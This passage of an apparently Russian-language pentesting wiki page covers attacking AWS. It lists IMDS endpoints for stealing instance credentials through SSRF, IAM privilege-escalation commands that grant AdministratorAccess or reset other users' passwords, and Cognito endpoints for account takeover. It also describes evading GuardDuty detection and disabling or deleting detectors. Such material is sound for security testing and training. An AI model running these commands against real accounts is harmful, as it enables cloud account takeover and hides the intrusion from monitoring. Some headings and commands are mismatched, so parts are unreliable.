|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
